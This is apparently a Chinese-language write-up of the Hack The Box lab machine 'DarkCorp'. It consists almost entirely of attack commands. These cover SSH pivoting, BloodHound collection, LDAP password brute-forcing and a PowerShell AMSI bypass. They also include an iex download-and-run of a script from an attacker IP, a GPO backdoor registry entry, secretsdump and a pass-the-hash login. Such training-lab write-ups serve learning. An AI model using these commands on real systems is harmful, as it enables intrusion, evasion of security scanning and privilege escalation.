ebelford:'ThePlague61780'@drip.htb -N 172.16.20.0/24别忘了hostsecho "172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb" | sudo tee -a /etc/hosts echo "172.16.20.3 drip.darkcorp.htb" | sudo tee -a /etc/hosts转发完成后，我们ping一下试试通了，接下来我们nmapnmap -sCTV -Pn -vvv 172.16.20.2发现了80，5000两个端口，我们访问一下这两个界面但端口80是空的，但端口5000有基本认证，我们可以使用Victor的凭据登录:别忘了hosts添加echo "172.16.20.2 WEB-01 WEB-01.darkcorp.htb" | sudo tee -a /etc/hosts让我们部分使用proxychains4并将域名导出到Bloodhound:sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no -D 1080 ebelford@drip.htbsudo apt install proxychains4sudo vim /etc/proxychains4.conf增加dnat 10.10.11.54 172.16.20.1 [ProxyList] socks5 127.0.0.1 1080本机执行proxychains4 bloodhound-python -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb --zip收集成功！！！Normal waysudo impacket-ntlmrelayx -t ldaps://172.16.20.1 -debug -i -smb2support我一直未能成功常规途径，应该是先取得172.16.20.2这个网站的仅限，利用ntlmrelayx攻击取得该机的系统权限，可是在我的机器上一直没有成功。那么只能用爆破了hydra -l taylor.b.adm -P /usr/share/wordlists/rockyou.txt -o test.log -vV ldap3://172.16.20.1取得taylor.b.adm的密码!QAZzaq1。绕过AMSI（反恶意软件扫描接口）$a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'};$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'};[IntPtr]$c =$b.GetValue($null);[Int32[]]$d = @(0xff);[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)本机启动服务器，要有PowerGPOAbuse.ps1的目录下启动下载PowerGPOAbuse脚本iex(New-Object Net.WebClient).DownloadString('http://10.10.16.2:8090/PowerGPOAbuse.ps1')将用户添加到GPO组Add-GPOGroupMember -Member 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'设置恶意注册表项Set-GPRegistryValue -Name "SecurityUpdates" -key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "backdoor" -Type String -Value "powershell -ExecutionPolicy Bypass -NoProfile -Command `"Add-LocalGroupMember -Group 'Administrators' -Member taylor.b.adm`""强制更新策略gpupdate /force确认权限net localgroup administrators本机执行impacket-secretsdump 'darkcorp.htb/taylor.b.adm:!QAZzaq1@172.16.20.1'拿到hashevil-winrm -i 172.16.20.1 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0froot.txt不得不说，HTB疯狂难度的是真的累（（（